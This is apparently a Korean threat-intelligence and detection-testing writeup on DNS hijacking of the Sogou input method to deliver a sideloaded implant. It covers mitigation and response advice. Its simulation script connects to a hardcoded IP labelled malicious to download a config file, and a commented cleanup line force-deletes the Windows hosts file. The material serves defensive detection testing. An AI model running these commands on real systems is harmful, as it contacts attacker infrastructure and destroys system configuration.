SlippyNunchucks 악성코드 캠페인, Sogou 브랜드 프로모션 악용

요약

SlippyNunchucks 위협 행위자는 Sogou 입력 방법에서 생성된 보안되지 않은 HTTP 트래픽을 가로채기 위해 DNS 하이재킹을 사용합니다. 이를 통해 공격자는 사이드 로딩 기술을 통해 DarkVigil 악성코드 임플란트를 다운로드하는 악성 구성을 주입할 수 있습니다. 이 캠페인은 주로 아시아와 유럽의 중국어 사용자들을 대상으로 합니다.

조사

ESET 연구원들은 그룹이 Sogou 입력 방법의 브랜드 프로모션 메커니즘, 특히 SGTool.exe 구성 요소를 악용한다는 사실을 발견했습니다. DNS 조작은 합법적인 구성 엔드포인트를 타게 한 요청을 공격자가 제어하는 인프라로 리다이렉트합니다. 조사에서는 합법적인 Adobe 실행 파일을 숨기기 위해 이름을 바꾼 다단계 사이드 로딩 체인도 발견되었습니다.

완화 방안

Tencent은 영향을 받은 HTTP 요청을 HTTPS로 전환하고 TLS 인증서 검사를 도입하여 Sogou 입력 방법 버전 16.10에서 문제를 해결했습니다. 사용자는 DNS 하이재킹 공격이 악성 구성을 주입하고 전달하는 것을 방지하기 위해 최신 소프트웨어 버전으로 업데이트해야 합니다.

대응

악성 활동이 감지되면 조직은 무단 DNS 수정 사항을 조사하고 알려진 스테이징 도메인으로의 연결을 위해 네트워크 트래픽을 검사해야 합니다. sogou-cdn.com. 보안 팀은 또한 Sogou 입력 방법 구성 요소에서 생성된 의심스러운 하위 프로세스, 예상치 못한 실행 파일 또는 구성 요소 디렉토리에서 로드된 서명되지 않은 DLL을 모니터링해야 합니다.

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준점 사전 점검을 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대기술(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 로직에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이어질 수 있습니다.

• 공격 내러티브 및 명령: 적대자는 config.pinyin.sogou.com 로의 요청이 악성 IP로 변경되는 DNS 하이재킹 시나리오를 시뮬레이션하려고 합니다. 제공된 특정 탐지 규칙을 트리거하기 위해, 시뮬레이션은 로컬 DNS를 우회하고 규칙의 기준에 맞는 하드코딩된 IP 주소 (47.239.250.102)를 사용합니다. 이는 하이재킹된 DNS 응답이 Sogou 소프트웨어를 공격자가 제어하는 서버로 유도하여 페이로드를 다운로드하는 순간을 흉내 냅니다.

• 회귀 테스트 스크립트:

  # 특정 규칙을 트리거하기 위한 하드코딩된 IP 연결을 통한 DNS 하이재킹 시뮬레이션
  # 이는 Sogou 입력 방법이 구성 서버에 도달하려고 시도하지만
  # 악성 IP로 리다이렉트되는 것을 흉내 냅니다.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] DNS 하이재킹 텔레메트리 생성 시뮬레이션을 시작합니다..."
  
  # 하이재킹된 DNS 해상도의 효과를 모방하기 위해 직접 IP 연결을 사용합니다.
  # 많은 프록시 로그는 IP를 통해 연결이 이루어지더라도 Host 헤더를 통해 요청된 도메인을 기록합니다.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] $MaliciousIP를 통한 $TargetDomain으로의 연결 시도"
  
      # Invoke-WebRequest를 사용하여 프록시를 통한 네트워크 트래픽을 시뮬레이트합니다.
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] 연결 실패 (IP가 오프라인 되었기 때문에 예상됨), 그러나 텔레메트리가 생성되었어야 합니다."
  }
  
  Write-Host "[*] 시뮬레이션 완료."

• 정리 명령:

  # 이 시뮬레이션 스크립트에 의해 영구적인 변경 사항은 없습니다.
  # 추가된 네트워크 수준 아티팩트가 있을 경우 이를 정리하려면 (예: hosts 파일):
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (관리자 필요)
  Write-Host "[*] 정리 완료. 영구적인 아티팩트는 생성되지 않았습니다."